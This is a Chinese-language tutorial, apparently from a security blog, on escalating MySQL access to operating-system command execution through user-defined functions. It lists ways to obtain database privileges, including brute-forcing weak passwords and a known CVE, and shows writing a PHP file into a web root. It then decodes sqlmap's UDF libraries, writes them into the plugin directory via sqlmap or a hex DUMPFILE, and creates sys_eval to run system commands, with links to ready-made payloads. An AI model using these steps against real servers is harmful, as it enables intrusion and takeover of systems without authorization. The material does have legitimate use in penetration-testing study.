0x00 前言

算算时间,也应该到进阶的时候了。慢慢琢磨这个专题,毋急毋躁。

0x01 UDF前置权限

本文主讲提权,那么提的是什么权限,需要提前具备哪些条件?

数据库中我们所在的用户至少需要有文件写入权限,方能将mysql的权限提到shell

数据库高权限

要获得数据库高权限有以下方法:

  1. MySQL 3306 端口弱口令爆破
  2. sqlmap 注入的 --sql-shell 模式
  3. 网站的数据库配置文件中拿到明文密码信息
  4. CVE-2012-2122 等这类漏洞直接拿下 MySQL 权限

最好能获得管理员权限,因为有些目录的写入权限只有管理员有。下面的内容都是基于Mysql的管理员进行操作。

文件写入权限

前置要求:

  • 知道网站物理路径
  • 高权限数据库用户
  • load_file () 开启 即 secure_file_priv 无限制
  • 网站路径有写入权限

查看secure_file_priv

1
SELECT * FROM INFORMATION_SCHEMA.GLOBAL_VARIABLES WHERE VARIABLE_NAME = 'secure_file_priv';
1
show global variables like '%secure_file_priv%';

secure_file_priv的值决定了文件是否可以写入:

secure_file_priv 说明
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

MariaDBsecure_file_priv默认一直是空。

以写马为例,上述条件都满足的话,可以这样写入:

1
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';

sqlmap里这么操作:

1
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';

0x02 UDF提权

概述

UDF

UDF(User-Defined Function)是用户自定义函数的缩写。在数据库管理系统中,UDF 是用户定义的函数,可以扩展数据库的功能。用户可以编写自己的函数,并在 SQL 查询中像内置函数一样使用这些函数。

思路:

自定义的函数可以实现各种功能,比如getshell。如果数据库里能有我们自定义的函数,就可以实现对服务器的操控。

大概分为以下几步:

  1. 获得动态链接库
  2. 寻找插件目录
  3. 写入动态链接库
  4. 创建自定义函数并调用命令

获得动态链接库

sqlmap自带动态链接库,但是被加密了。

解码方式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 查看当前目录情况
pwd
/Users/guang/Documents/X1ct34m/sqlmap/1.4.6/extra/cloak

# 解码 32 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so

# 解码 64 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so

# 解码 32 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

# 解码 64 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

# 查看当前目录下的情况
ls
README.txt cloak.py lib_mysqludf_sys_32.so lib_mysqludf_sys_64.so
__init__.py lib_mysqludf_sys_32.dll lib_mysqludf_sys_64.dll

给个国光师傅制作的链接,可以直接得到解密后的数据:

https://sqlsec.lanzoux.com/i4b7jhyhwid

寻找插件目录

接下来我们要把 UDF 的动态链接库文件放到 MySQL 的插件目录下,插件目录在哪里呢?可以使用如下的 SQL 语句来查询:

1
2
3
4
5
6
mysql> show variables like '%plugin%';
+---------------+------------------------------+
| Variable_name | Value |
+---------------+------------------------------+
| plugin_dir | /usr/local/mysql/lib/plugin/ |
+---------------+------------------------------+

如果不存在的话需要自己写一个,读者可以去看国光师傅的原文(文章最后)。

写入动态链接库

有两种方法:

  • sqlmap写入
  • 手工写入

sqlmap写入

前置要求:

  • SQL 注入且是高权限
  • plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入。
  • 因为 GET字节长度限制,所以往往 POST 注入才可以执行这种攻击
1
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"

如果没有注入点的话,只能在终端手工敲。

手工写入

1
2
3
4
5
# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

# 解码十六进制再写入多此一举
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

这里挂一个国光师傅的链接,他把这些都写好了,拿来直接用:

https://www.sqlsec.com/tools/udf.html

创建自定义函数并调用命令

创建自定义函数:

1
mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

查看是否创建成功:

1
2
3
4
5
6
mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_eval | 0 | udf.dll | function |
+----------+-----+---------+----------+

执行命令:

1
mysql > select sys_eval('whoami');

如果要删除自定义函数:

1
mysql > drop function sys_eval;

0x03 未完待续

0x0x 参考文章

国光师傅:https://www.sqlsec.com/2020/11/mysql.html#UDF-shell